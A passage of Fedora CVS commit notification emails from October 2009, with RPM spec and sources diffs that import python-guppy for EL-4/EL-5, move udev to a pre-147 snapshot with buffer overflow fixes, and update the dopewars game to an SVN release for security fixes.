RCS file: /cvs/pkgs/rpms/python-guppy/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:49:36 -0000	1.1
+++ sources	9 Oct 2009 10:36:09 -0000	1.2
@@ -0,0 +1 @@
+221c50d574277e4589cc4ae03f76727a  guppy-0.1.9.tar.gz



From peter at fedoraproject.org  Fri Oct  9 10:39:31 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Fri,  9 Oct 2009 10:39:31 +0000 (UTC)
Subject: rpms/python-guppy/EL-5 import.log, NONE, 1.1 python-guppy.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091009103931.AAB9C11C00C1@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/python-guppy/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14305/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-guppy.spec 
Log Message:
initial commit


--- NEW FILE import.log ---
python-guppy-0_1_9-1_fc11:EL-5:python-guppy-0.1.9-1.fc11.src.rpm:1255084659


--- NEW FILE python-guppy.spec ---
%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}


%define realname guppy


Name:		python-%{realname}
Version:	0.1.9
Release:	1%{?dist}
Summary:	A Python Programming Environment
Group:		Development/Languages
License:	MIT
URL:		http://guppy-pe.sourceforge.net/
Source0:	http://pypi.python.org/packages/source/g/%{realname}/%{realname}-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildRequires:	python-devel
BuildRequires:	python-setuptools-devel
Provides:	%{realname} = %{version}-%{release}


%description
Guppy-PE is a library and programming environment for Python, currently
providing in particular the Heapy subsystem, which supports object and heap
memory sizing, profiling and debugging. It also includes a prototypical
specification language, the Guppy Specification Language (GSL), which can be
used to formally specify aspects of Python programs and generate tests and
documentation from a common source.


%prep
%setup -q -n %{realname}-%{version}


%build
%{__python} -c 'import setuptools; execfile("setup.py")' build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} -c 'import setuptools; execfile("setup.py")' install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc ANNOUNCE ANNOUNCE-0.1.5 ChangeLog PKG-INFO README
%{python_sitearch}/%{realname}/
%{python_sitearch}/%{realname}-%{version}-*.egg-info/


%changelog
* Fri Aug 14 2009 Peter Lemenkov <lemenkov at gmail.com> 0.1.9-1
- Initial package for Fedora
- Still no gsl-subpackage for emacs


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-guppy/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:49:36 -0000	1.1
+++ .cvsignore	9 Oct 2009 10:39:31 -0000	1.2
@@ -0,0 +1 @@
+guppy-0.1.9.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-guppy/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:49:36 -0000	1.1
+++ sources	9 Oct 2009 10:39:31 -0000	1.2
@@ -0,0 +1 @@
+221c50d574277e4589cc4ae03f76727a  guppy-0.1.9.tar.gz



From peter at fedoraproject.org  Fri Oct  9 10:43:40 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Fri,  9 Oct 2009 10:43:40 +0000 (UTC)
Subject: rpms/python-guppy/EL-4 import.log, NONE, 1.1 python-guppy.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091009104340.0607611C00C1@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/python-guppy/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15271/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-guppy.spec 
Log Message:
initial commit


--- NEW FILE import.log ---
python-guppy-0_1_9-1_fc11:EL-4:python-guppy-0.1.9-1.fc11.src.rpm:1255084896


--- NEW FILE python-guppy.spec ---
%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}


%define realname guppy


Name:		python-%{realname}
Version:	0.1.9
Release:	1%{?dist}
Summary:	A Python Programming Environment
Group:		Development/Languages
License:	MIT
URL:		http://guppy-pe.sourceforge.net/
Source0:	http://pypi.python.org/packages/source/g/%{realname}/%{realname}-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildRequires:	python-devel
BuildRequires:	python-setuptools-devel
Provides:	%{realname} = %{version}-%{release}


%description
Guppy-PE is a library and programming environment for Python, currently
providing in particular the Heapy subsystem, which supports object and heap
memory sizing, profiling and debugging. It also includes a prototypical
specification language, the Guppy Specification Language (GSL), which can be
used to formally specify aspects of Python programs and generate tests and
documentation from a common source.


%prep
%setup -q -n %{realname}-%{version}


%build
%{__python} -c 'import setuptools; execfile("setup.py")' build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} -c 'import setuptools; execfile("setup.py")' install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc ANNOUNCE ANNOUNCE-0.1.5 ChangeLog PKG-INFO README
%{python_sitearch}/%{realname}/
%{python_sitearch}/%{realname}-%{version}-*.egg-info/


%changelog
* Fri Aug 14 2009 Peter Lemenkov <lemenkov at gmail.com> 0.1.9-1
- Initial package for Fedora
- Still no gsl-subpackage for emacs


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-guppy/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:49:36 -0000	1.1
+++ .cvsignore	9 Oct 2009 10:43:39 -0000	1.2
@@ -0,0 +1 @@
+guppy-0.1.9.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-guppy/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:49:36 -0000	1.1
+++ sources	9 Oct 2009 10:43:39 -0000	1.2
@@ -0,0 +1 @@
+221c50d574277e4589cc4ae03f76727a  guppy-0.1.9.tar.gz



From harald at fedoraproject.org  Fri Oct  9 10:48:11 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Fri,  9 Oct 2009 10:48:11 +0000 (UTC)
Subject: rpms/udev/devel udev.spec, 1.294,
	1.295 0001-enumeration-move-ALSA-control-devices-to-the-end-of-.patch,
	1.1, NONE 0002-udevd-add-timestamp-to-debug-output.patch, 1.1,
	NONE 0003-fix-wrong-parameter-size-on-ioctl-FIONREAD.patch, 1.1,
	NONE 0004-fix-single-session-CD-detection.patch, 1.1,
	NONE 0005-fix-previous-commit-for-CD-detection.patch, 1.1,
	NONE ck-runseat.patch, 1.1, NONE
Message-ID: <20091009104811.3D3BB11C00C1@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/udev/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16455

Modified Files:
	udev.spec 
Removed Files:
	0001-enumeration-move-ALSA-control-devices-to-the-end-of-.patch 
	0002-udevd-add-timestamp-to-debug-output.patch 
	0003-fix-wrong-parameter-size-on-ioctl-FIONREAD.patch 
	0004-fix-single-session-CD-detection.patch 
	0005-fix-previous-commit-for-CD-detection.patch 
	ck-runseat.patch 
Log Message:
* Fri Oct 09 2009 Harald Hoyer <harald at redhat.com> 147-0.1.gitdf3e07d
- pre 147 
- database format changed
- lots of potential buffer overflow fixes



Index: udev.spec
===================================================================
RCS file: /cvs/pkgs/rpms/udev/devel/udev.spec,v
retrieving revision 1.294
retrieving revision 1.295
diff -u -p -r1.294 -r1.295
--- udev.spec	29 Sep 2009 13:09:11 -0000	1.294
+++ udev.spec	9 Oct 2009 10:48:11 -0000	1.295
@@ -4,22 +4,16 @@
 
 Summary: A userspace implementation of devfs
 Name: udev
-Version: 145
-Release: 10%{?dist}
+Version: 147
+Release: 0.1.gitdf3e07d%{?dist}
 License: GPLv2
 Group: System Environment/Base
 Provides: udev-persistent = %{version}-%{release}
 Obsoletes: udev-persistent < 0:030-5
 Obsoletes: udev-extras < 20090618
 Provides: udev-extras = 20090618-1
-Source: ftp://ftp.kernel.org/pub/linux/utils/kernel/hotplug/%{name}-%{version}.tar.bz2
-
-Patch1: 0001-enumeration-move-ALSA-control-devices-to-the-end-of-.patch
-Patch2: 0002-udevd-add-timestamp-to-debug-output.patch
-Patch3: 0003-fix-wrong-parameter-size-on-ioctl-FIONREAD.patch
-Patch4: 0004-fix-single-session-CD-detection.patch
-Patch5: 0005-fix-previous-commit-for-CD-detection.patch
-Patch6: ck-runseat.patch
+Source: udev-147-0.gitdf3e07d.tar.bz2
+#Source: ftp://ftp.kernel.org/pub/linux/utils/kernel/hotplug/%{name}-%{version}.tar.bz2
 
 Source1: start_udev
 Source3: udev-post.init
@@ -99,14 +93,8 @@ Requires: libgudev1 = %{version}-%{relea
 This package contains the header and pkg-config files for developing
 glib-based applications using libudev functionality.
 
-%prep
+%prep 
 %setup -q  
-%patch1 -p1
-%patch2 -p1
-%patch3 -p1
-%patch4 -p1
-%patch5 -p1
-%patch6 -p1 -b .ck041
 
 %build
 # get rid of rpath
@@ -158,7 +146,6 @@ for i in \
 	rules/packages/40-s390.rules \
 %endif
 	rules/packages/40-isdn.rules \
-	rules/packages/40-alsa.rules \
 	rules/packages/64-md-raid.rules \
 	rules/packages/64-device-mapper.rules \
 	; do
@@ -358,6 +345,11 @@ rm -rf $RPM_BUILD_ROOT
 %attr(0644,root,root) %{_libdir}/pkgconfig/gudev-1.0*
 
 %changelog
+* Fri Oct 09 2009 Harald Hoyer <harald at redhat.com> 147-0.1.gitdf3e07d
+- pre 147 
+- database format changed
+- lots of potential buffer overflow fixes
+
 * Tue Sep 29 2009 Harald Hoyer <harald at redhat.com> 145-10
 - add ConsoleKit patch for ConsoleKit 0.4.1
 


--- 0001-enumeration-move-ALSA-control-devices-to-the-end-of-.patch DELETED ---


--- 0002-udevd-add-timestamp-to-debug-output.patch DELETED ---


--- 0003-fix-wrong-parameter-size-on-ioctl-FIONREAD.patch DELETED ---


--- 0004-fix-single-session-CD-detection.patch DELETED ---


--- 0005-fix-previous-commit-for-CD-detection.patch DELETED ---


--- ck-runseat.patch DELETED ---



From harald at fedoraproject.org  Fri Oct  9 10:48:57 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Fri,  9 Oct 2009 10:48:57 +0000 (UTC)
Subject: rpms/udev/devel .cvsignore,1.62,1.63 sources,1.62,1.63
Message-ID: <20091009104857.6B70411C00C1@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/udev/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16798

Modified Files:
	.cvsignore sources 
Log Message:
* Fri Oct 09 2009 Harald Hoyer <harald at redhat.com> 147-0.1.gitdf3e07d
- pre 147 
- database format changed
- lots of potential buffer overflow fixes



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/udev/devel/.cvsignore,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- .cvsignore	14 Jul 2009 12:09:01 -0000	1.62
+++ .cvsignore	9 Oct 2009 10:48:57 -0000	1.63
@@ -1 +1 @@
-udev-145.tar.bz2
+udev-147-0.gitdf3e07d.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/udev/devel/sources,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- sources	14 Jul 2009 12:09:01 -0000	1.62
+++ sources	9 Oct 2009 10:48:57 -0000	1.63
@@ -1 +1 @@
-b3d3b5f88c7b81e7615700a04db685e1  udev-145.tar.bz2
+9cbae4cf95e5c510d7974ea195dfb2a4  udev-147-0.gitdf3e07d.tar.bz2



From jussilehtola at fedoraproject.org  Fri Oct  9 10:49:54 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  9 Oct 2009 10:49:54 +0000 (UTC)
Subject: rpms/dopewars/F-10 dopewars.spec,1.5,1.6 sources,1.2,1.3
Message-ID: <20091009104954.2B44911C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/dopewars/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16936/F-10

Modified Files:
	dopewars.spec sources 
Log Message:
Update to SVN release to address security issues.


Index: dopewars.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/F-10/dopewars.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- dopewars.spec	29 Nov 2008 20:23:56 -0000	1.5
+++ dopewars.spec	9 Oct 2009 10:49:53 -0000	1.6
@@ -1,34 +1,44 @@
 # State dir for savegames
-%define _localstatedir /var/lib/games
+%global _localstatedir /var/lib/games
+# SVN release
+%global rel 1033
 
 Summary:	A drug dealing game
 Name:		dopewars
 Version:	1.5.12
-Release:	5%{?dist}
+Release:	8.%{rel}svn%{?dist}
 URL:		http://dopewars.sourceforge.net/
 License:	GPLv2+
 Group:		Amusements/Games
-Source0:	http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
+#Source0:	http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
+## The source tarball has been generated followingly:
+# svn co https://svn.sourceforge.net/svnroot/dopewars/dopewars/trunk dopewars
+# tar jcf dopewars-%{version}-%{rel}svn.tar.bz2
+Source0:	%{name}-%{version}-%{rel}svn.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	esound-devel
-BuildRequires:  desktop-file-utils
+BuildRequires:	desktop-file-utils
 BuildRequires:	gtk2-devel
 BuildRequires:	ncurses-devel
 BuildRequires:	SDL_mixer-devel
 
+# SVN stuff
+BuildRequires:	automake
+BuildRequires:	autoconf
+
 %description
-Based on John E. Dell's old Drug Wars game, dopewars is a simulation of an    
-imaginary drug market.  dopewars is an All-American game which features       
-buying, selling, and trying to get past the cops!                              
-                                                                                
-The first thing you need to do is pay off your debt to the Loan Shark. After   
-that, your goal is to make as much money as possible (and stay alive)! You     
-have one month of game time to make your fortune.                              
+Based on John E. Dell's old Drug Wars game, dopewars is a simulation of an
+imaginary drug market. dopewars is an All-American game which features
+buying, selling, and trying to get past the cops!
+
+The first thing you need to do is pay off your debt to the Loan Shark. After
+that, your goal is to make as much money as possible (and stay alive)! You
+have one month of game time to make your fortune.
 
 dopewars supports multiple players via. TCP/IP. Chatting to and fighting
 with other players (computer or human) is supported; check the command line
-switches (via dopewars -h) for further information. 
+switches (via dopewars -h) for further information.
 
 %package sdl
 Summary:	SDL sound support for dopewars
@@ -39,9 +49,17 @@ This package adds a plugin to dopewars t
 the Simple DirectMedia Layer mixer (SDL_mixer).
 
 %prep
-%setup -q
+#%setup -q
+%setup -q -n %{name}
+# Clean out svn stuff
+find . -name .svn | xargs rm -rf;
+# Fix documentation
+iconv -f ISO-8859-1 -t UTF-8 ChangeLog > ChangeLog.new && \
+mv ChangeLog.new ChangeLog
+chmod 644 doc/*.html
 
 %build
+./autogen.sh
 %configure \
 	--enable-shared --disable-static \
 	--enable-gui-server --enable-curses-client \
@@ -60,10 +78,8 @@ mv dopewars.desktop{.new,}
 desktop-file-install --vendor="" \
 --dir=${RPM_BUILD_ROOT}%{_datadir}/applications dopewars.desktop
 
-# Fix documentation
-iconv -f ISO-8859-1 -t UTF-8 ChangeLog > ChangeLog.new && \
-mv ChangeLog.new ChangeLog
-chmod 644 doc/*.html
+# Remove documentation installed by make install
+rm -rf %{buildroot}%{_docdir}
 
 %clean
 rm -rf %{buildroot}
@@ -90,19 +106,28 @@ rm -rf %{buildroot}
 %{_libdir}/dopewars/libsound_sdl.so
 
 %changelog
-* Sat Nov 29 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-5
+* Fri Oct 09 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-8.1033svn
+- Update to svn release to address security issues.
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.12-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.12-6
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Nov 29 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-5
 - Also fix release tag.
 
-* Sat Nov 29 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-4
+* Sat Nov 29 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-4
 - Fix bug 473644, unowned directory.
 
-* Fri Nov 07 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-3
+* Fri Nov 07 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-3
 - Fix source URL.
 
-* Tue Nov 04 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-2
+* Tue Nov 04 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-2
 - Add BR desktop-file-utils.
 
-* Tue Nov 04 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-1
+* Tue Nov 04 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-1
 - Spec file cleanups for Fedora inclusion.
 
 * Mon Jul 28 2003 Ben Webb <benwebb at users.sf.net>


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Nov 2008 09:33:59 -0000	1.2
+++ sources	9 Oct 2009 10:49:54 -0000	1.3
@@ -1 +1 @@
-debf749de9053dc2fb2e74c37ae06206  dopewars-1.5.12.tar.gz
+c35f94bd1a3eebc4cddb2f5644a40efb  dopewars-1.5.12-1033svn.tar.bz2



From jussilehtola at fedoraproject.org  Fri Oct  9 10:49:54 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  9 Oct 2009 10:49:54 +0000 (UTC)
Subject: rpms/dopewars/F-11 dopewars.spec,1.6,1.7 sources,1.2,1.3
Message-ID: <20091009104954.5A5E711C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/dopewars/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16936/F-11

Modified Files:
	dopewars.spec sources 
Log Message:
Update to SVN release to address security issues.


Index: dopewars.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/F-11/dopewars.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- dopewars.spec	24 Feb 2009 12:28:45 -0000	1.6
+++ dopewars.spec	9 Oct 2009 10:49:54 -0000	1.7
@@ -1,34 +1,44 @@
 # State dir for savegames
-%define _localstatedir /var/lib/games
+%global _localstatedir /var/lib/games
+# SVN release
+%global rel 1033
 
 Summary:	A drug dealing game
 Name:		dopewars
 Version:	1.5.12
-Release:	6%{?dist}
+Release:	8.%{rel}svn%{?dist}
 URL:		http://dopewars.sourceforge.net/
 License:	GPLv2+
 Group:		Amusements/Games
-Source0:	http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
+#Source0:	http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
+## The source tarball has been generated followingly:
+# svn co https://svn.sourceforge.net/svnroot/dopewars/dopewars/trunk dopewars
+# tar jcf dopewars-%{version}-%{rel}svn.tar.bz2
+Source0:	%{name}-%{version}-%{rel}svn.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	esound-devel
-BuildRequires:  desktop-file-utils
+BuildRequires:	desktop-file-utils
 BuildRequires:	gtk2-devel
 BuildRequires:	ncurses-devel
 BuildRequires:	SDL_mixer-devel
 
+# SVN stuff
+BuildRequires:	automake
+BuildRequires:	autoconf
+
 %description
-Based on John E. Dell's old Drug Wars game, dopewars is a simulation of an    
-imaginary drug market.  dopewars is an All-American game which features       
-buying, selling, and trying to get past the cops!                              
-                                                                                
-The first thing you need to do is pay off your debt to the Loan Shark. After   
-that, your goal is to make as much money as possible (and stay alive)! You     
-have one month of game time to make your fortune.                              
+Based on John E. Dell's old Drug Wars game, dopewars is a simulation of an
+imaginary drug market. dopewars is an All-American game which features
+buying, selling, and trying to get past the cops!
+
+The first thing you need to do is pay off your debt to the Loan Shark. After
+that, your goal is to make as much money as possible (and stay alive)! You
+have one month of game time to make your fortune.
 
 dopewars supports multiple players via. TCP/IP. Chatting to and fighting
 with other players (computer or human) is supported; check the command line
-switches (via dopewars -h) for further information. 
+switches (via dopewars -h) for further information.
 
 %package sdl
 Summary:	SDL sound support for dopewars
@@ -39,9 +49,17 @@ This package adds a plugin to dopewars t
 the Simple DirectMedia Layer mixer (SDL_mixer).
 
 %prep
-%setup -q
+#%setup -q
+%setup -q -n %{name}
+# Clean out svn stuff
+find . -name .svn | xargs rm -rf;
+# Fix documentation
+iconv -f ISO-8859-1 -t UTF-8 ChangeLog > ChangeLog.new && \
+mv ChangeLog.new ChangeLog
+chmod 644 doc/*.html
 
 %build
+./autogen.sh
 %configure \
 	--enable-shared --disable-static \
 	--enable-gui-server --enable-curses-client \
@@ -60,10 +78,8 @@ mv dopewars.desktop{.new,}
 desktop-file-install --vendor="" \
 --dir=${RPM_BUILD_ROOT}%{_datadir}/applications dopewars.desktop
 
-# Fix documentation
-iconv -f ISO-8859-1 -t UTF-8 ChangeLog > ChangeLog.new && \
-mv ChangeLog.new ChangeLog
-chmod 644 doc/*.html
+# Remove documentation installed by make install
+rm -rf %{buildroot}%{_docdir}
 
 %clean
 rm -rf %{buildroot}
@@ -90,22 +106,28 @@ rm -rf %{buildroot}
 %{_libdir}/dopewars/libsound_sdl.so
 
 %changelog
+* Fri Oct 09 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-8.1033svn
+- Update to svn release to address security issues.
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.12-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.12-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 
-* Sat Nov 29 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-5
+* Sat Nov 29 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-5
 - Also fix release tag.
 
-* Sat Nov 29 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-4
+* Sat Nov 29 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-4
 - Fix bug 473644, unowned directory.
 
-* Fri Nov 07 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-3
+* Fri Nov 07 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-3
 - Fix source URL.
 
-* Tue Nov 04 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-2
+* Tue Nov 04 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-2
 - Add BR desktop-file-utils.
 
-* Tue Nov 04 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-1
+* Tue Nov 04 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-1
 - Spec file cleanups for Fedora inclusion.
 
 * Mon Jul 28 2003 Ben Webb <benwebb at users.sf.net>


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Nov 2008 09:30:12 -0000	1.2
+++ sources	9 Oct 2009 10:49:54 -0000	1.3
@@ -1 +1 @@
-debf749de9053dc2fb2e74c37ae06206  dopewars-1.5.12.tar.gz
+c35f94bd1a3eebc4cddb2f5644a40efb  dopewars-1.5.12-1033svn.tar.bz2



From jussilehtola at fedoraproject.org  Fri Oct  9 10:49:54 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  9 Oct 2009 10:49:54 +0000 (UTC)
Subject: rpms/dopewars/devel .cvsignore, 1.2, 1.3 dopewars.spec, 1.7,
	1.8 sources, 1.2, 1.3
Message-ID: <20091009104954.A3C0411C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/dopewars/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16936/devel

Modified Files:
	.cvsignore dopewars.spec sources 
Log Message:
Update to SVN release to address security issues.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	8 Nov 2008 09:30:12 -0000	1.2
+++ .cvsignore	9 Oct 2009 10:49:54 -0000	1.3
@@ -1 +1 @@
-dopewars-1.5.12.tar.gz
+dopewars-1.5.12-1033svn.tar.bz2


Index: dopewars.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/devel/dopewars.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- dopewars.spec	24 Jul 2009 20:28:11 -0000	1.7
+++ dopewars.spec	9 Oct 2009 10:49:54 -0000	1.8
@@ -1,34 +1,44 @@
 # State dir for savegames
-%define _localstatedir /var/lib/games
+%global _localstatedir /var/lib/games
+# SVN release
+%global rel 1033
 
 Summary:	A drug dealing game
 Name:		dopewars
 Version:	1.5.12
-Release:	7%{?dist}
+Release:	8.%{rel}svn%{?dist}
 URL:		http://dopewars.sourceforge.net/
 License:	GPLv2+
 Group:		Amusements/Games
-Source0:	http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
+#Source0:	http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
+## The source tarball has been generated followingly:
+# svn co https://svn.sourceforge.net/svnroot/dopewars/dopewars/trunk dopewars
+# tar jcf dopewars-%{version}-%{rel}svn.tar.bz2
+Source0:	%{name}-%{version}-%{rel}svn.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	esound-devel
-BuildRequires:  desktop-file-utils
+BuildRequires:	desktop-file-utils
 BuildRequires:	gtk2-devel
 BuildRequires:	ncurses-devel
 BuildRequires:	SDL_mixer-devel
 
+# SVN stuff
+BuildRequires:	automake
+BuildRequires:	autoconf
+
 %description
-Based on John E. Dell's old Drug Wars game, dopewars is a simulation of an    
-imaginary drug market.  dopewars is an All-American game which features       
-buying, selling, and trying to get past the cops!                              
-                                                                                
-The first thing you need to do is pay off your debt to the Loan Shark. After   
-that, your goal is to make as much money as possible (and stay alive)! You     
-have one month of game time to make your fortune.                              
+Based on John E. Dell's old Drug Wars game, dopewars is a simulation of an
+imaginary drug market. dopewars is an All-American game which features
+buying, selling, and trying to get past the cops!
+
+The first thing you need to do is pay off your debt to the Loan Shark. After
+that, your goal is to make as much money as possible (and stay alive)! You
+have one month of game time to make your fortune.
 
 dopewars supports multiple players via. TCP/IP. Chatting to and fighting
 with other players (computer or human) is supported; check the command line
-switches (via dopewars -h) for further information. 
+switches (via dopewars -h) for further information.
 
 %package sdl
 Summary:	SDL sound support for dopewars
@@ -39,9 +49,17 @@ This package adds a plugin to dopewars t
 the Simple DirectMedia Layer mixer (SDL_mixer).
 
 %prep
-%setup -q
+#%setup -q
+%setup -q -n %{name}
+# Clean out svn stuff
+find . -name .svn | xargs rm -rf;
+# Fix documentation
+iconv -f ISO-8859-1 -t UTF-8 ChangeLog > ChangeLog.new && \
+mv ChangeLog.new ChangeLog
+chmod 644 doc/*.html
 
 %build
+./autogen.sh
 %configure \
 	--enable-shared --disable-static \
 	--enable-gui-server --enable-curses-client \
@@ -60,10 +78,8 @@ mv dopewars.desktop{.new,}
 desktop-file-install --vendor="" \
 --dir=${RPM_BUILD_ROOT}%{_datadir}/applications dopewars.desktop
 
-# Fix documentation
-iconv -f ISO-8859-1 -t UTF-8 ChangeLog > ChangeLog.new && \
-mv ChangeLog.new ChangeLog
-chmod 644 doc/*.html
+# Remove documentation installed by make install
+rm -rf %{buildroot}%{_docdir}
 
 %clean
 rm -rf %{buildroot}
@@ -90,25 +106,28 @@ rm -rf %{buildroot}
 %{_libdir}/dopewars/libsound_sdl.so
 
 %changelog
+* Fri Oct 09 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-8.1033svn
+- Update to svn release to address security issues.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.12-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
 * Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.12-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 
-* Sat Nov 29 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-5
